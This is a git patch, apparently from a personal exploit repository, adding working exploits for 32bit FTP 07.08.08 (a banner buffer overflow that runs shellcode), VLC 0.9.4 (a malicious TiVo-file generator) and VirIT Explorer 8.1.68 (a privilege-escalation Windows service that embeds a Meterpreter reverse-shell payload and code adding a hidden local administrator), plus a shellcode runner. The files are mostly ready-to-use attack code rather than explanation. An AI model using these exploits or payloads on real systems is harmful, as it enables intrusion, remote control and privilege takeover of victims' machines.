From 8b7d405fd00eff9be49a39a03577d8502ed4fcf4 Mon Sep 17 00:00:00 2001 From: VoidSec Date: Thu, 11 Apr 2019 11:43:13 +0200 Subject: [PATCH] update1 --- 32bit_FTP_v.07.08.08.py | 56 +++++++++++++++ VLC_v.0.94-PoC.py | 60 ++++++++++++++++ VirIT_Explorer_v.8.1.68-LPE.c | 125 ++++++++++++++++++++++++++++++++++ test_framework.c | 11 +++ 4 files changed, 252 insertions(+) create mode 100644 32bit_FTP_v.07.08.08.py create mode 100644 VLC_v.0.94-PoC.py create mode 100644 VirIT_Explorer_v.8.1.68-LPE.c create mode 100644 test_framework.c diff --git a/32bit_FTP_v.07.08.08.py b/32bit_FTP_v.07.08.08.py new file mode 100644 index 0000000..50b3951 --- /dev/null +++ b/32bit_FTP_v.07.08.08.py @@ -0,0 +1,56 @@ +""" +Full title: 32bit FTP v.07.08.08 Banner Remote Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com +Vendor Homepage: https://www.electrasoft.com/ +Version: 32bit FTP v.07.08.08 +Tested on: Windows XP SP3 +Category: local exploits +Platform: windows +Usage: start this script (it will set-up a listening server), launch 32bit FTP and connect it to the server +""" +#!/usr/bin/python + +from socket import * +payload = "\xc3"*989 + +# jmp esp kernel32.dll +# 7C836A78 findjmp2 +payload += "\x78\x6A\x83\x7C" + +# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum +# shellcode from http://metasploit.com +payload += ( +"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" +"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" +"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" +"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" +"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" +"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47" +"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58" +"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38" +"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" +"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" +"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58" +"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54" +"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58" +"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43" +"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47" +"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a" +"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b" +"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43" +"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37" +"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59" +"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56" +"\x4e\x56\x43\x36\x42\x30\x5a") + +s = socket(AF_INET, SOCK_STREAM) +s.bind(("0.0.0.0", 21)) +s.listen(1) +print "[+] FTP server listening on (0.0.0.0:21)" +c, addr = s.accept() +print "[+] Connection accepted from: %s" % (addr[0]) +print "[+] Sending payload" +c.send("220 "+payload+"\r\n") +c.recv(1024) +c.close() +s.close() \ No newline at end of file diff --git a/VLC_v.0.94-PoC.py b/VLC_v.0.94-PoC.py new file mode 100644 index 0000000..3cafb6a --- /dev/null +++ b/VLC_v.0.94-PoC.py @@ -0,0 +1,60 @@ +""" +Full title: VideoLAN VLC Media Player 0.9.4 TIVO Local Stack Buffer Overflow PoC +Exploit Author: Paolo Stagno - voidsec@voidsec.com (Based on the original work of Guido Landi) +Vendor Homepage: https://www.videolan.org +Version: VideoLAN VLC Media Player 0.9.4 +Tested on: Windows 7 +Category: local exploits +Platform: windows +Usage: redirect the output of this script into an MPG file, load it into VLC 0.9.4, the EIP will be overwritten with \x41\x41\x41\x41 +""" + +#!/usr/bin/python +EIP = "AAAA"; +junk = "\x90"; + +print "\xF5\x46\x7A\xBD" + "\x00\x00\x00\x02" + "\x00\x02\x00\x00" + (junk * 8) + "\x00\x00\x05\x41" + (junk * 4) + "\x00\x00\x05\x49" + (junk * 60) + EIP + (junk * 130976) + "\x05" + (junk * 3) + "\x05" + (junk * 1) + "\x09" + "\xc0" + (junk * 14) + "\x06" + "\xe0" + (junk * 531062) + +""" +-------------------------------------------------------- +| ty.c #112 TIVO_PES_FILEID 0xf5467abd | +-------------------------------------------------------- +| ty.c #113 TIVO_PART_LENGTH 0x20000000 | +-------------------------------------------------------- +| ty.c #114 CHUNK_SIZE 128 * 1024 | +-------------------------------------------------------- +| junk * 8 | +-------------------------------------------------------- +| i_map_size | +-------------------------------------------------------- +| junk * 4 | +-------------------------------------------------------- +| ty.c # 1654 i_seq_table_size/(8+i_map_size)== 1 | +-------------------------------------------------------- +| junk * 60 | +-------------------------------------------------------- +| EIP | +-------------------------------------------------------- +| big junk * 130976 (shellcode can fit here ) | +-------------------------------------------------------- +| ty.c #1743 i_num_recs must be greater than 5 | +-------------------------------------------------------- +| junk * 3 | +-------------------------------------------------------- +| p_hdrs (x05) | +-------------------------------------------------------- +| junk * 1 | +-------------------------------------------------------- +| ty.c #1763 rec_type == 0x9c0 -> AC-3DTivo | +| subrec_type (x09) | +| rec_type (xc0) | +-------------------------------------------------------- +| junk * 14 | +-------------------------------------------------------- +| video type rec_type == 0x6e0 -> S1 Tivo | +| subrec_type (x06) | +| rec_type (xe0) | +-------------------------------------------------------- +| big junk x 531062 | +-------------------------------------------------------- +""" \ No newline at end of file diff --git a/VirIT_Explorer_v.8.1.68-LPE.c b/VirIT_Explorer_v.8.1.68-LPE.c new file mode 100644 index 0000000..341170f --- /dev/null +++ b/VirIT_Explorer_v.8.1.68-LPE.c @@ -0,0 +1,125 @@ +/* +Full title: VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (System)/Arbitrary Code Execution +Exploit Author: Paolo Stagno - voidsec@voidsec.com +Vendor Homepage: http://www.tgsoft.it +Version: VirIT Explorer Lite & Pro <=v.8.1.68 +Tested on: Windows 7 +CVE: TBD +CVSS v2: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C) - https://nvd.nist.gov/cvss.cfm?calculator&version=2&vector=%28AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C%29 +Category: local exploits +Platform: windows +Security Risk: High +*/ +#include +#include + +#define small_sleep 5000 +#define big_sleep 180000 + +SERVICE_STATUS ServiceStatus; +SERVICE_STATUS_HANDLE hStatus; + +void ServiceMain(int argc, char** argv); +void ControlHandler(DWORD request); +typedef short(CALLBACK* FuncType)(LPCTSTR); + +/*Meterpreter reverse payload (windows/meterpreter/reverse_tcp), replace with your own*/ +unsigned char r_shell[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" + "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" + "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" + "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" + "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" + "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" + "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" + "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" + "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" + "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" + "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" + "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x8a\x68\x02" + "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" + "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" + "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00" + "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" + "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" + "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" + "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00" + "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" + "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff" + "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" + "\x53\xff\xd5"; + +int Spawn_Shell() +{ + //Spawn the reverse shell + int (*func)(); + func = (int (*)())r_shell; + (int)(*func)(); +} + +int Add_Admin() +{ + //ADD VoidSec:secret to Local Administrators + system("net user VoidSec secret /ADD"); + system("net localgroup Administrators VoidSec /ADD"); + return 0; +} + +int main() +{ + SERVICE_TABLE_ENTRY ServiceTable[2]; + ServiceTable[0].lpServiceName = "viritsvclite"; + ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; + ServiceTable[1].lpServiceName = NULL; + ServiceTable[1].lpServiceProc = NULL; + StartServiceCtrlDispatcher(ServiceTable); + + return 0; +} + +void ServiceMain(int argc, char** argv) +{ + ServiceStatus.dwServiceType = SERVICE_WIN32; + ServiceStatus.dwCurrentState = SERVICE_START_PENDING; + ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwServiceSpecificExitCode = 0; + ServiceStatus.dwCheckPoint = 0; + ServiceStatus.dwWaitHint = 0; + hStatus = RegisterServiceCtrlHandler("viritsvclite", (LPHANDLER_FUNCTION)ControlHandler); + ServiceStatus.dwCurrentState = SERVICE_RUNNING; + SetServiceStatus(hStatus, &ServiceStatus); + + //Big sleep (3m), let Windows start Network, DHCP etc. + Sleep(big_sleep); + + Spawn_Shell(); + //Add_Admin(); + + //Let our service run instead of kill it (only works with Add_Admin, Spawn_Shell will kill it on exit) + /*while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { + Sleep(small_sleep); + }*/ + + return; +} + +void ControlHandler(DWORD request) +{ + switch (request) { + case SERVICE_CONTROL_STOP: + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus(hStatus, &ServiceStatus); + return; + case SERVICE_CONTROL_SHUTDOWN: + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus(hStatus, &ServiceStatus); + return; + default: + break; + } + SetServiceStatus(hStatus, &ServiceStatus); + + return; +} diff --git a/test_framework.c b/test_framework.c new file mode 100644 index 0000000..953c539 --- /dev/null +++ b/test_framework.c @@ -0,0 +1,11 @@ +#include +#include + +/*test shellcode*/ +char code[] = ""; + +int main(int argc, char ** argv) { + int( * func)(); + func = (int( * )()) code; + (int)( * func)(); +} \ No newline at end of file